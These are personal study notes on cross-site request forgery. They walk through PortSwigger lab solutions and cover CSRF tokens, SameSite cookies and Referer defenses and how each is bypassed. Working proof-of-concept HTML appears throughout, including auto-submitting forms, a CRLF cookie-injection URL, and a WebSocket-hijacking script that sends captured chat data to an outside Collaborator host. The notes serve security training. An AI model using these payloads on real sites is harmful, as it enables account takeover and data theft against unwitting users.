Cross-site request forgery (CSRF) - allows an attacker to induce users to perform actions that they do not intend to perform.

Ex: Web Page

<html> 
	<body> 
		<form action="https://vulnerable-website.com/email/change" method="POST"> 
			<input type="hidden" name="email" value="pwned@evil-user.net" /> 
		</form> 
		<script> 
			document.forms[0].submit(); 
		</script> 
	</body> 
</html>
  • If the user is logged in to the vulnerable website, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).

How

The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:

  • Select a request
  • Right-click -> Engagement tools / Generate CSRF PoC
  • Burp Suite will generate the html
  • Tweak various options
  • Copy the generated HTML into a web page
  • Test by going there when logged in

Lab 1

Basically it was that simple

  • Just had to remember to use a different email than the one from the initial request I captured because when I stopped intercepting, I changed my own email so the victim wasn’t able to receive it

How to deliver

Typically place the malicious HTML onto a website that you control and induce victims to visit that website.

  • Note that some simple CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable website.
  • Example - if the request to change email address can be performed with the GET method, then a self-contained attack would look like this:
  • <img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

Defenses

  • CSRF tokens
    • generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request
  • SameSite cookies
    • browser security mechanism that determines when a website’s cookies are included in requests originating from other websites
  • Referer-based validation
    • Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain (less effective than CSRF token)

CSRF Tokens

Example of how to share with a client:

<form name="change-email-form" action="/my-account/change-email" method="POST"> 
	<label>Email</label> 
	<input required type="email" name="email" value="example@normal-website.com"> 
	<input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u"> 
	<button class='button' type='submit'> Update email </button> 
</form>

Common flaws in CSRF token validation

  • Attackers may be able to skip CSRF validation when using a GET request instead of a POST request
  • Validation depends on token being present, sometimes you can simply remove it
  • Token not tied to user session - attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack
  • CSRF token tied to a non-session cookie, at least not the same cookie that is used to track sessions
    • For example this can occur when an application employs two different frameworks - one for session handling and one for CSRF protection
  • CSRF token is simply duplicated in a cookie
    • the attacker doesn’t need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

Lab 2

  • Literally just use a GET request instead of POST for the change email parameter

Lab 3

  • Just remove the CSRF token and field from the request (and HTML)

Lab 4

  • Not sure what was going on in this lab
  • Basically you capture a login request, copy the CSRF token, and then drop the request
    • Then you log in with another user, capture a change-email request, generate a CSRF PoC, and then sub the first CSRF token you copied

      Lab 5

      Very crucial is that both the CSRF token and the csrfkey cookie need to be passed to the victim

  • This requires you to find a way to pass them, in this case as a URL parameter
  • Fu3ZUhAXMAG9zRaAPcVzmQDOM2l8C13r - csrf token
  • lCBxMg9r3ll5rJc55Az3MezHpNrEPwLV = key
  • GET /?search=trees%0d%0aSet-Cookie:%20csrfKey=<attacker> i
    • Adding the csrfkey in the search URL
    • Include auto-submit script in Generate CSRF PoC
      <img src="https://SITE/?search=trees%0d%0aSet-Cookie:%20csrfKey=<attacker>" onerror="document.forms[0].submit()">
      
  • Then also add the csrf token as well
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6500e804ad0b4b80377b0d00f40017.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pop669&#64;pop&#46;com" />
      <input type="hidden" name="csrf" value="Fu3ZUhAXMAG9zRaAPcVzmQDOM2l8C13r" />
      <input type="submit" value="Submit request" />
    </form>
   <img src="https://0a6500e804ad0b4b80377b0d00f40017.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=lCBxMg9r3ll5rJc55Az3MezHpNrEPwLV%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>
  • Required me to uncheck Include auto-submit script in the Generate CSRF PoC

Lab 6

Same as lab 5, but you can make the cookie whatever, I just used the same format

SameSite

SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites.

  • Site is defined at TLD, but the URL scheme (http vs https) is considered as well
  • Site considers scheme, domain, and TLD
  • Origin also considered subdomain and port
  • Vulnerability for the site will work on other parts of the site, so other origins, but not other sites
  • works by enabling browsers and website owners to limit which cross-site requests should include specific cookies. Done by Set-Cookie: session=<cookie>
    • Chrome enables Lax settings by default, meaning browsers will send the cookie only if:
      • Request uses GET method
      • Request resulted form a top-level navigation by the user, such as clicking a link
    • If a cookie is set with SameSite=Strict - browsers will not send it in any cross-site requests, meaning if the target site for the request does not match the site currently shown in the browser’s address bar, it will not include the cookie.

If you encounter a cookie set with SameSite=None or with no explicit restrictions, it’s worth investigating whether it’s of any use.

  • Note that the website must also include the Secure attribute or browsers will reject the cookie

Bypassing SameSite Lax restrictions

  • Try GET request even when posting data. Ex:
    <script> 
      document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script>
    
  • This won’t always work, but some frameworks allow you to override. Symfony uses the _method parameter in forms, for example, and it takes precedence over the normal method. ```HTML

### Lab 7
Basically the point here is to force the `POST` request. The below was all I needed. Really the learning point here was the fact that the `_method` parameter could be passed to the URL query string, though fwiw it seems like it required the `email` parameter to be there as well. 

```HTML
<script>
      document.location = "https://0a47003c0499372e801812a500e20070.web-security-academy.net/my-account/change-email?email=pop@pop.com&_method=POST"
</script>

Same Strict bypass via client-side redirect

If a cookie is set with the SameSite=Strict attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

  • One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters
    • DOM-based open redirection
    • Works because not really redirect so it includes cookies
    • If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.
    • Not possible with server-side redirects

Lab 8

<script>
    document.location = "https://0a120099030b9907800421f5009900f1.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pop%40pop.com%26submit=1";
</script>

Ok, so the way this works is that you are looking around for something like a DOM-XSS, and when you submit a blog post, it takes you first to /post/comment/confirmation?postId=x before redirecting you back to the blog post

  • If you change the x, it will take you there
  • If you change the x to 1/../../my-account, it will take you there as well
  • Then enables you to use the same my-account/change-email?email=pop@pop.com as the previous lab, though you do need to add the submit parameter and URL encode the ampersand delimiter to avoid breaking out of the postId parameter in the initial setup request

SameSite strict bypass via sibling domain

don’t forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake

Lab 9

First off - Note no unpredictable web tokens - vulnerable to CSRF attack

video

  • 3:24 - write initial payload

Key things to notice:

  • When you refresh the /chat endpoint, the there is a READY message sent to the WebSocket history
  • This is a PoC for CSWSH (taken from 3:24 in video):
    <script> 
      var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat'); 
      ws.onopen = function() { 
          ws.send("READY"); 
      }; 
      ws.onmessage = function(event) { 
          fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); 
      }; 
    </script>
    
  • Check this with Collaborator - you won’t get a vuln, but if you get a request you know it works
    • Session cookie won’t be sent bc of the SameSite = Strict
  • Study proxy history - you need to notice that responses to requests for resources like script and image files contain an Access-Control-Allow-Origin header, which reveals a sibling domain at cms-YOUR-LAB-ID.web-security-academy.net.
    • Check requests for resources like script and image files
    • It was also important to visit this website
      • It had a login form, check that, and try injecting XSS payload like <script>alert('XSS')</script>
      • Confirm it works with GET response too (Change request method)
  • URL-encode the PoC for CSWSH
  • Then use this CSRF, but include the URL-encoded one as the username on the vulnerable domain:
    <script> 
      document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything"; 
    </script>
    
  • Deliver and check Poll Now in Collaborator
  • Confirm that this does contain your session cookie

if a website doesn’t include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking SSO, it doesn’t enforce these restrictions for the first 120 seconds on top-level POST requests

  • So there is a two minute window
  • Not practical to hit the window, but it could work to force the victim to be issued a new session cookie
  • You can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack
    • Pop-ups are blocked, but you can include the onclick event handler
      window.onclick = () => { 
        window.open('https://vulnerable-website.com/login/sso'); 
      }
      

Lab 10

The key thing here is to notice that there is a new session cookie each time you visit /social-login which initiates the full OAuth flow. So getting the victim to visit this without browsing to it is the key.

  • So you have the normal CSRF PoC, but you add this onclick part as well
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ac0003804d4532c8179f721004a00ea.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pop2&#64;pop&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
			<script>
			    window.onclick = () => {
					window.open('https://0ac0003804d4532c8179f721004a00ea.web-security-academy.net/social-login');
			    setTimeout(changeEmail, 5000);
			    }
			
			    function changeEmail(){
			        document.forms[0].submit();
			    }
			</script>
  </body>
</html>

Bypassing Refer-based CSRF defenses

Some applications make use of the HTTP Referer header to attempt, normally by verifying that the request originated from the application’s own domain. This approach is generally less effective and is often subject to bypasses.

  • contains the URL of the web page that linked to the resource that is being requested
  • Some applications only validate the Referer header if it is present
  • You can cause the victim’s browser to drop the header with: <meta name="referrer" content="never">

Lab 11

Literally just include the tag above like so:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <meta name="referrer" content="never">
  <body>
    <form action="https://0a4b00b803b19f3c80a9129e00730054.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pop&#64;pop&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Validation of Referer can be circumvented

Sometimes validation of the Referer header can be broken

  • Ex: validation that the domain starts correctly
    • http://vulnerable-website.com.attacker-website.com/csrf-attack
  • Or even just that the correct website is included somewhere
    • http://attacker-website.com/csrf-attack?vulnerable-website.com
    • This may not work bc some browsers strip the query data by default, but you can include Referrer-Policy: unsafe-url header in your exploit to ensure that full URL is sent

Lab 12

There are two things here:

  1. We need to find a way to include the victim website
  2. We need to find a way for it be be accepted (Referrer-Policy: unsafe-url)

For the first:

  • You can change your email normally, but if you try to to use the exploit server, it won’t work because of the Referer header.
  • Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net does work though when you alter the Referer header in Burp
    • Note that this means you have to figure out this part in Burp before you go to the exploit server
    • It means that as long as the victim URL is somewhere in the URL, the Referer header will validate
    • So change the <script> part to say history.pushState('', '', '/?0aca0073034de84481afc65e00ea00e8.web-security-academy.net'); rather than history.pushState('', '', '/

For the second:

  • The Referrer-Policy: unsafe-url goes in the Head: section of the exploit server, not the Body

Additional CSRF Concepts (THM)

Types of CSRF

Traditional CSRF: The victim is tricked into carrying out an action on a website without realizing it.

  • Ex: A victim already logged in to their banking app clicks a link that uses their cookies to transfer money to the attacker.

Asynchronous CSRF: Operations are initiated without a complete page request-response cycle, using JavaScript (XMLHttpRequest or the Fetch API).

  • Ex: A malicious script on an attacker’s page makes an AJAX call to mailbox.thm/api/updateEmail. The victim’s session cookie is included automatically, and if no CSRF defenses exist, the settings are modified.

Flash-based CSRF: Takes advantage of flaws in Adobe Flash Player components used by applications for interactive content or video streaming.

A CSRF attack can embed a 0x0 pixel image or link using src or href:

<a href="http://mybank.thm:8080/dashboard.php?to_account=GB82MYBANK5698&amount=1000" target="_blank">Click Here to Redeem</a>

The link automatically transfers money to the attacker’s account when clicked by an authenticated user.

The server generates a CSRF token sent to the browser and embedded in hidden form fields. The server checks that the cookie and hidden field match. This can be bypassed via:

  • Session Cookie Hijacking (man-in-the-middle)
  • Subverting the Same-Origin Policy (attacker-controlled subdomain)
  • Exploiting XSS vulnerabilities
  • Predicting or interfering with token generation
  • Subdomain Cookie Injection
  • Strict: Only sent in first-party context (same site that set the cookie)
  • Lax: Sent in top-level navigations and safe HTTP methods (GET, HEAD, OPTIONS); not sent with cross-origin POST requests
  • None: Minimal restriction; requires the Secure attribute when over HTTPS

Chrome default behavior: cookies without a SameSite attribute are treated like SameSite=None for the first 2 minutes, then treated as Lax.